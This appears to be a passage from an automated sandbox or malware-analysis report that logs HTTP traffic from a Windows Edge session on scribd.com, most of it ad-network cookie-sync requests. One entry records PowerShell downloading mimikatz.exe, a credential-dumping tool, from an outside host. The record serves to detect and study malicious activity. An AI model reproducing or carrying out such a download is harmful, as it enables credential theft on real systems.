Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=primis&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11596%26gdpr%3D%5BGDPR%5D%26gdpr_consent%3D%5BUSER_CONSENT%5D%26id%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /universal/v1?gdpr=0&gdpr_consent=&supply_id=5926d422 HTTP/1.1Host: match.sharethrough.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bh/rtset?ev=1&gdpr=0&gdpr_consent=&pid=562615&rurl=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11592%26uid%3D%25%25VGUID%25%25&us_privacy=%5BUS_PRIVACY%5D HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pubsync?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D126%26advUuid%3D%5Btvid%5D HTTP/1.1Host: mb9eo.publishers.tremorhub.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync.html?p=12776 HTTP/1.1Host: eus.rubiconproject.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=yieldmo&us_privacy=1-N- HTTP/1.1Host: pixel-us-east.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /user-matching?gdpr=0&gdpr_consent=&id=3663 HTTP/1.1Host: ads.stickyadstv.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync/prbds2s?gdpr=&gdpr_consent=&us_privacy=1-N-&r=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D HTTP/1.1Host: rtb.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /stein/mimikatz.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: xspacet.wikiConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bounce HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/?adExInit=rise&gdpr=%5BGDPR%5D&gdpr_consent=%5BUSER_CONSENT%5D&redir=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11574%26id%3D%24UID HTTP/1.1Host: s.ad.smaato.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=rise HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oJPGhVd4JlnDyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN
Source: global traffic	HTTP traffic detected: GET /iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=n-mediagrid_n-index_rx_n-acuityads_n-MediaNet_ox-db5_n-colossusMedia_n-cadent_n-adman-v2_n-onetag_pm-db5_n-simpli.fi_ym_n-vmg_n-nativo_sovrn_gg_n-adMediaV1_n-Ogury_n-Beeswax_smrt_n-inmobi_cnv_n-Seedtag_rbd_ppt_an-db5_n-Rise_3lift HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cksync?gdpr=0&gdpr_consent=&cs=34&type=pri&ovsid=67b434a8abd6b&redirect=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D127%26advUuid%3D%3Cvsid%3E%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: cs.media.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cookie?redirect_url=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11606%26gdpr%3D%5BGDPR%5D%26gdpr_consent%3D%5BUSER_CONSENT%5D%26uid%3D%24UID HTTP/1.1Host: cm.adform.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /events/v2/supply?p=lpcWMtnWlxNNbyRpmuNu HTTP/1.1Host: events.browsiprod.comConnection: keep-aliveContent-Length: 474sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=6gvshk1&ttd_tpi=1&ttd_puid=67b434a8abd6b&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D130%26advUuid%3D%24UID HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=12776&us_privacy=1-N- HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oJPGhVd4JlnDyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D121%26advUuid%3D%24UID HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; tluidp=4416503600587711592667
Source: global traffic	HTTP traffic detected: GET /user-matching?id=3586&gdpr=0&gdpr_consent= HTTP/1.1Host: ads.stickyadstv.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ups/58818/sync?redir=true&gdpr=0&gdpr_consent=&verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync.html?endpoint=us-east&p=rise_engage HTTP/1.1Host: eus.rubiconproject.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0ouy0wyc0X/cfyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.4231536863270031 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pubsync/verify?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D126%26advUuid%3D%5Btvid%5D HTTP/1.1Host: mb9eo.publishers.tremorhub.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sid/json?origin=criteoPrebidAdapter&domain=www.scribd.com&sn=EdgeSyncframe&so=0&topUrl=www.scribd.com&info=_UYJq19aSTZZSXN3RWdkb0VzR3RBVzZ2bzh3WlV5OHRwVWlZUkN3T1l4OHBLNFBWRTZ6Z09mdGMlMkJjbGxUQmw2R3JoZVpueGQlMkZHV2dRaUFkZCUyQlhwTzY4RUhHdyUzRCUzRA&idsd=637430835,-1426216302&cw=1&lsw=1 HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gum.criteo.com/syncframe?origin=criteoPrebidAdapter&topUrl=www.scribd.com&us_privacy=1-N-&gpp=Accept-Encoding: gzip, deflate, 